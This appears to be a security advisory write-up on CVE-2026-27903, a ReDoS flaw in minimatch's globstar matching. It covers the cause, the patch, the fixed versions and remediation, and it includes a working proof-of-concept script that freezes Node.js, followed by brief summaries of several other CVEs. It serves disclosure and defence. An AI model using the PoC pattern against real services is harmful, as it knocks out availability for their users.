Feb 27, 2026·7 min read·216 visits
The `minimatch` library, used by virtually every Node.js tool chain, contains a ReDoS flaw in how it handles the `**` (globstar) syntax. By supplying a crafted pattern with multiple non-adjacent `**` segments, an attacker can force the matching engine into an exponential backtracking loop, freezing the Node.js process instantly. Patches are available across all major version lines.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability exists in the popular `minimatch` library, affecting millions of Node.js projects. The flaw lies in the inefficient recursive handling of GLOBSTAR (`**`) patterns, allowing attackers to trigger combinatorial backtracking that stalls the event loop.
If you work in the JavaScript ecosystem, you use minimatch. You might not know it, but it's there. It's inside ESLint, it's inside the Angular CLI, it's lurking in your node_modules folder like a dormant virus. It is the de-facto standard for converting shell-style glob patterns (like src/**/*.js) into JavaScript regular expressions. It is the gatekeeper that decides which files get linted, which routes get served, and which files get ignored.
But here's the kicker: minimatch isn't just a regex wrapper. It implements its own logic for handling the dreaded ** (globstar) operator—the recursive wildcard that matches directories arbitrarily deep. For years, this logic has been a ticking time bomb.
CVE-2026-27903 isn't your typical memory corruption. It's an algorithmic tragedy. It's the story of what happens when you try to solve a complex parsing problem with simple recursion, and then an attacker feeds that recursion a path that is almost right, but functionally infinite. It turns your shiny, async, non-blocking Node.js server into a synchronous brick.
To understand this vulnerability, you have to understand backtracking. When minimatch sees a pattern like **/a/**/b, it has to decide how to match those wildcards against a path like x/y/z/a/m/n/b. The first ** could match x/y/z, or just x, or x/y.
The flaw in minimatch was a classic case of "optimistic matching followed by pessimistic backtracking." When matchOne() encountered a globstar, it would greedily try to match the rest of the pattern against every possible suffix of the path. If the rest of the pattern also contained a globstar, the function would recurse.
Imagine you are looking for a specific sock in a dresser with 10 drawers. You open drawer 1. Then you realize you need to check every combination of socks in drawer 1 against every combination in drawer 2. Then drawer 3. The complexity isn't linear; it's binomial: $O(C(n, k))$.
Specifically, if you provide a pattern with $k$ non-adjacent ** segments and a path of length $n$ that fails to match at the very end, the engine has to backtrack and try every other possible alignment of those globstars. With just 13 globstars and a path length of 30, the loop runs for over 15 seconds. In the single-threaded world of Node.js, 15 seconds of CPU blocking is effectively an eternity. It means zero HTTP requests served, zero database callbacks fired, and zero heartbeats sent.
The fix, authored by Isaac Z. Schlueter (isaacs) in commit 0bf499aa45f5059b56809cc3b75ff3eafeb8d748, is a masterclass in defensive programming. It doesn't just patch the bug; it rewrites the strategy.
The Old Way (Vulnerable):
The code previously treated globstars as just another recursive step. It would blindly loop through the remaining path parts and recurse matchOne.
The New Way (Fixed): The patch introduces a "Fail-Fast" mechanism and a strict recursion budget. Here is the logic breakdown:
Optimization: The pattern is split into head, body (the parts between globstars), and tail. The engine matches the head and tail first. If those don't match, it bails out immediately before doing the heavy lifting. This is the "check the front and back door before searching the whole house" strategy.
Slack Calculation: The engine now calculates "slack"—the difference between the path length and the minimum pattern length. This constrains the search space, preventing the engine from looking in places where a match is mathematically impossible.
The Hard Stop: Perhaps most importantly, a maxGlobstarRecursion limit (default 200) was added. If the complexity gets too high, it just gives up.
> [!NOTE] > The fix accepts that sometimes, it's better to return a false negative (fail to match a valid but absurdly complex path) than to let the server hang. This is a pragmatic security trade-off.
// Pseudo-code of the new logic
if (globStarDepth > maxGlobstarRecursion) {
return false // "I'm too old for this nonsense"
}
// ... pre-calculate slack to limit loop bounds ...
for (let i = start; i <= end; i++) {
if (matchGlobStarBodySections(...)) return true
}Exploiting this is trivially easy and disturbingly effective. You don't need buffer overflows or heap spraying. You just need a string. This PoC demonstrates how a pattern of **/a repeated 15 times can freeze the process when matched against a string of mostly as.
The Attack Scenario:
.gitignore validator).const { minimatch } = require('minimatch');
// The "Hammer": 15 non-adjacent globstars
// The pattern looks like: **/a/**/a/**/a.../b/**
const k = 15;
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b/**';
// The "Anvil": A path that matches everything EXCEPT the required 'b'
// The engine matches 'a' after 'a' after 'a', accumulating hope...
// ...until it hits the end, finds no 'b', and begins the Great Backtracking.
const path = Array(100).fill('a').join('/') + '/a';
console.log("Initiating DoS...");
const start = Date.now();
// This single line executes the attack
minimatch(path, pattern);
console.log(`Server unfrozen after ${Date.now() - start}ms`);When I ran this on a standard dev machine, the execution time jumped from microseconds to over 5,000ms. Increase k to 20, and you might need to hard-reset your terminal.
The impact here is Availability (The 'A' in CIA). In a Node.js environment, the event loop is a singleton resource. If one request triggers a 10-second ReDoS calculation, every other request to that server waits 10 seconds.
This is particularly dangerous for:
.gitignore or config file could hang the build server indefinitely.npm install or eslint.The vector score is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The critical part is AV:N (Network) and PR:N (No Privileges Required). If the input is reachable from the web, the server is vulnerable.
The remediation is straightforward but urgent. The ecosystem is fragmented, so minimatch is likely present in your tree multiple times across different major versions. You need to update all of them.
Patched Versions:
Action Plan:
Run npm audit or pnpm audit. If that doesn't catch deep dependencies, you might need to use npm list minimatch to see the full horror of your dependency tree. For stubborn transitive dependencies, use overrides (npm) or resolutions (yarn/pnpm) in your package.json to force the upgrade.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
minimatch isaacs | < 3.1.3 | 3.1.3 |
minimatch isaacs | >= 9.0.0, < 9.0.7 | 9.0.7 |
minimatch isaacs | >= 10.0.0, < 10.2.3 | 10.2.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-407 (Inefficient Algorithmic Complexity) |
| Attack Vector | Network |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Exploit Status | PoC Available |
| Affected Component | matchOne() function in src/index.ts |
CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.
CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.
CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.
CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.
CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.
CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.